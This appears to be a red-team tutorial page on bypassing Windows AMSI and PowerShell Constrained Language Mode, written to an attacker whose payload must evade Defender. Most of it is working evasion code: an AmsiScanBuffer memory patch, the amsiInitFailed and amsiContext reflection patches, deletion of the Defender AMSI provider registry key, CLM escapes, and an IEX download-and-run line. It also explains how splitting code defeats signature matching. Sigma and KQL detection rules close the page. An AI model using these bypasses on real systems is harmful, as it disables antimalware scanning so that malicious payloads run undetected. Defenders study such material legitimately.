AMSI Bypass Techniques
Antimalware Scan Interface architecture and interception points, AmsiScanBuffer memory patch, AmsiContext structure corruption, COM-based provider bypass, PowerShell .NET reflection patching, Constrained Language Mode bypass via PS v2 downgrade and custom runspaces, and how AMSI tampering is detected by modern telemetry.
Your payload is an obfuscated PowerShell script. You can land a .ps1 file on disk, or you can run it in-memory via IEX. Either way, Windows Defender hooks AMSI in the PowerShell process and scans every script block before it executes. The malicious content is detected before a single line runs. You need AMSI disabled for the PowerShell runspace where your payload executes. You have a PowerShell session already running — you need to apply the bypass within that same session before invoking the payload, using code that itself doesn't trigger AMSI on the way in.
AMSI Architecture and Scan Flow
AmsiScanBuffer Patch — Classic Method
// Patch AmsiScanBuffer in amsi.dll to always return AMSI_RESULT_CLEAN.
// First 3 bytes replaced with: XOR eax, eax; RET → returns 0 (AMSI_RESULT_CLEAN).
//
// IMPORTANT: This is a well-known technique. The patch bytes themselves are
// AMSI-scanned before execution, so the bypass must be obfuscated or split.
// Classic patch (will be caught by AMSI itself if sent as plain text):
BOOL AmsiPatch() {
HMODULE amsi = LoadLibraryW(L"amsi.dll");
BYTE* fn = (BYTE*)GetProcAddress(amsi, "AmsiScanBuffer");
// Patch: XOR eax,eax (2B); RET (1B) — returns 0 = AMSI_RESULT_CLEAN
DWORD old;
VirtualProtect(fn, 3, PAGE_EXECUTE_READWRITE, &old);
fn[0] = 0x31; fn[1] = 0xC0; fn[2] = 0xC3; // xor eax,eax; ret
VirtualProtect(fn, 3, old, &old);
return TRUE;
}
# PowerShell equivalent (split to avoid AMSI scanning the bypass itself):
# The bypass is split across two separate Invoke-Command calls or string operations
# to avoid the entire bypass being scanned as one buffer.
# Step 1 (no malicious content — just reflective patch setup):
$a = [Ref].Assembly.GetTypes()
$b = $a | Where-Object { $_.Name -eq 'AmsiUtils' }
$c = $b.GetField('amsiInitFailed','NonPublic,Static')
# Step 2 (set amsiInitFailed = $true — tells AMSI it failed to initialize → skips scan):
$c.SetValue($null, $true)
# After this: all subsequent AMSI scans in this runspace return AMSI_RESULT_CLEAN
# Alternative field name in PS 7.x: 'amsiContext' (field may vary by PS version)
AmsiContext Corruption
// AmsiContext is an opaque struct passed to AmsiScanBuffer.
// Setting the first DWORD (context magic: 0x43534D41 = "AMSI") to 0
// causes AmsiScanBuffer to return E_INVALIDARG — no scan performed.
//
// Access AmsiContext via PowerShell's internal AmsiUtils class:
# PowerShell: corrupt AmsiContext pointer
$amsiContext = [Ref].Assembly.GetTypes() |
Where-Object { $_.Name -eq 'AmsiUtils' } |
ForEach-Object { $_.GetField('amsiContext','NonPublic,Static').GetValue($null) }
# amsiContext is an IntPtr (pointer to the AMSI context struct)
# Write 0 to the first 4 bytes (the magic value check in AmsiScanBuffer):
$ptr = [System.Runtime.InteropServices.Marshal]::ReadIntPtr($amsiContext)
[System.Runtime.InteropServices.Marshal]::WriteInt32($ptr, 0)
# AmsiScanBuffer now reads magic 0x00000000 != 0x43534D41 → returns E_INVALIDARG → no scan
# OPSEC note: both the amsiInitFailed and amsiContext approaches work differently:
# amsiInitFailed: tells PowerShell engine AMSI init failed → PS won't call AmsiScanBuffer
# amsiContext: corrupts the context struct → AmsiScanBuffer itself returns invalid arg
# The amsiInitFailed approach is more stable across PS versions
COM Provider Unregistration
// Remove the Windows Defender AMSI provider registration from the registry.
// AMSI will still call providers but find none registered → no scan.
// Requires admin rights (HKLM). More persistent than in-process patch.
// Windows Defender AMSI provider CLSID: {2781761E-28E0-4109-99FE-B9D127C57AFE}
BOOL UnregisterDefenderAmsiProvider() {
LSTATUS r = RegDeleteKeyW(HKEY_LOCAL_MACHINE,
L"SOFTWARE\\Microsoft\\AMSI\\Providers\\{2781761E-28E0-4109-99FE-B9D127C57AFE}");
return r == ERROR_SUCCESS;
}
// Re-register after operation:
// RegCreateKeyExW(HKLM, "SOFTWARE\Microsoft\AMSI\Providers\{2781761E...}", ...)
// This modification is logged in registry auditing if enabled.
# PowerShell (requires admin):
Remove-Item "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" -Force
# Affects newly created processes only — existing PS sessions already loaded the provider DLL
.NET Reflection Patch (Most Operationally Reliable)
# The most reliable current technique: reflect into System.Management.Automation
# and patch the AmsiScanBuffer delegate or the amsiInitFailed flag.
# Works in PS 5.1 and PS 7.x (with different field names).
# Must be the first command in the session — before any AMSI-detected content.
# Split the bypass across two operations to avoid AMSI scanning the complete bypass:
# (This itself may be detected by behavioral AMSI that watches script block invocations)
# Technique: force amsiInitFailed = $true in the current runspace
$assembly = [Ref].Assembly
$types = $assembly.GetTypes()
$amsiUtils = $types | Where-Object { $_.FullName -like "*AmsiUtils*" }
$field = $amsiUtils.GetFields('NonPublic,Static') |
Where-Object { $_.Name -eq 'amsiInitFailed' }
$field.SetValue($null, $true)
# After this: any $field.GetValue($null) returns $true
# PowerShell's ScanContent() checks this field before calling AmsiScanBuffer:
# if (AmsiUtils.amsiInitFailed) return; // skip scan
# Payload can now run without AMSI inspection.
# For PS 7.x — field may be in a different class:
$field = [System.Management.Automation.PSReference].Assembly.GetType(
'System.Management.Automation.AmsiUtils').GetField(
'amsiContext','NonPublic,Static')
# Then corrupt or null the field value
Constrained Language Mode Bypass
# Constrained Language Mode (CLM): PowerShell security mode that restricts:
# - .NET type access ([Type]::Method calls)
# - COM object creation (New-Object -ComObject)
# - Direct Win32 API access ($Host.UI.PromptForCredential etc.)
# Enforced by: WDAC policy, AppLocker with script rules, or explicit $ExecutionContext.SessionState.LanguageMode = 'ConstrainedLanguage'
# CLM check:
$ExecutionContext.SessionState.LanguageMode # returns "ConstrainedLanguage" or "FullLanguage"
# CLM Bypass 1: PowerShell v2 downgrade
# PS v2 predates CLM — doesn't support it
# Requires: .NET 2.0 / 3.5 on the system (not installed by default Win10+)
powershell.exe -version 2 -Command { ... }
# CLM Bypass 2: Custom runspace (no CLM enforcement outside default runspace)
# If you can call .NET from a PowerShell-free context (e.g., compiled C# assembly),
# create a PowerShell runspace manually — CLM is per-runspace enforcement:
// C# / inline .NET: create an unconstrained runspace
var iss = InitialSessionState.CreateDefault();
iss.LanguageMode = PSLanguageMode.FullLanguage; // override CLM
using var rs = RunspaceFactory.CreateRunspace(iss);
rs.Open();
using var ps = PowerShell.Create();
ps.Runspace = rs;
ps.AddScript("IEX (New-Object Net.WebClient).DownloadString('http://...')");
ps.Invoke();
# CLM Bypass 3: Use PowerShell 7 (pwsh.exe) — CLM is only enforced in PS 5.1
# pwsh.exe does not enforce AppLocker/WDAC CLM in most configurations
# CLM Bypass 4: Inline C# via Add-Type (sometimes allowed in CLM — version-dependent)
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")] public static extern IntPtr VirtualAlloc(...);
}
"@
Detection Engineering
-- Sigma: AMSI buffer patched (memory write to amsi.dll)
title: AMSI Memory Patch — amsi.dll Written
logsource:
product: windows
category: process_tampering
detection:
selection:
EventID: 25 # Sysmon: process image tampered
Image|endswith: '\amsi.dll'
condition: selection
level: critical
-- Sigma: PowerShell reflection accessing AmsiUtils (Event ID 4104)
title: PowerShell AmsiUtils Reflection Access
logsource:
product: windows
service: powershell
detection:
selection:
EventID: 4104 # Script Block Logging
ScriptBlockText|contains|all:
- 'AmsiUtils'
- 'NonPublic'
condition: selection
level: high
-- Sigma: AMSI provider registry deleted
title: Windows Defender AMSI Provider Unregistered
logsource:
product: windows
category: registry_delete
detection:
selection:
TargetObject|contains: 'AMSI\Providers'
TargetObject|contains: '2781761E-28E0-4109-99FE-B9D127C57AFE'
condition: selection
level: critical
-- MDE KQL: PowerShell invoking reflection APIs on AMSI-related classes
DeviceEvents
| where ActionType == "PowerShellCommand"
| where AdditionalFields has_any (
"AmsiUtils", "amsiInitFailed", "amsiContext",
"amsi.dll", "AmsiScanBuffer"
)
| project Timestamp, DeviceName, AccountName,
InitiatingProcessCommandLine, AdditionalFields
Q&A
Why does splitting the AMSI bypass across two separate Invoke-Command calls sometimes evade AMSI?
AMSI scans script blocks — the unit of content that gets passed to AmsiScanBuffer. When you type a single command in PowerShell, the entire command is one script block and gets scanned as one unit. When you split the bypass into multiple separate Invoke-Command calls or expressions, each is scanned independently as a smaller unit. Signature-based AMSI providers (like Windows Defender's) often use multi-keyword signatures: the detection rule for the bypass may look for strings like "AmsiUtils" AND "NonPublic,Static" AND "amsiInitFailed" appearing in the same buffer. If you put each piece in a separate invocation, no single buffer contains all three keywords, and the signature doesn't trigger. This is the same principle as "string splitting" in general AV evasion. However, behavioral AMSI providers and AMSI combined with Script Block Logging (Event 4104) capture all blocks. If the SOC is hunting on 4104 for any occurrence of AmsiUtils or amsiContext — regardless of what other strings appear in the same block — the split evasion fails at the detection layer. The practical implication for defenders: Script Block Logging (Event 4104) with alerts on any occurrence of known AMSI bypass strings is more robust than relying solely on AMSI's own signature matching, because the logging happens before AMSI can be disabled.